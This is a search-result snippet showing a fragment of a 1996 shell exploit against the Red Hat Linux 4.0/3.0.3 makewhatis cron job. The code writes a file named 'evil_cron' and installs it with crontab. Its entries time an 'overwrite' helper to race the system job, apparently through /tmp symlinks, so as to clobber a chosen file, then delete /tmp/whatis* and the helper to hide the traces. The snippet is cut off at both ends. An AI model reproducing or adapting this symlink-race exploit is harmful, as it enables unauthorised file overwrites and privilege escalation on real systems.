Displaying 1 result from an estimated 1 matches for "evil_cron".
1996 Dec 24
0
Linux Redhat 4.0/3.0.3 makewhatis cron job
...#39;(1)'' <smirk>
#
# Dave G.
# <daveg@escape.com>
# http://www.escape.com/~daveg
# 12/21/96
NUMLINKS=100 # I dont feel like guessing. This will hit it.
# Admittedly, it has as much style as a clumsy leper.
if [ -x /usr/bin/crontab ] ; then
cat << ! > evil_cron
# These are for 3.0.3
19 03 * * 1 $PWD/overwrite $1 $NUMLINKS
00 04 * * 1 /bin/rm -f /tmp/whatis* $PWD/overwrite
# These are for 4.0
00 02 * * 0 $PWD/overwrite $1 $NUMLINKS
00 03 * * 0 /bin/rm -f /tmp/whatis* $PWD/overwrite
!
/usr/bin/crontab evil_cron 2>&1 > /dev/null
if [ $? -ne...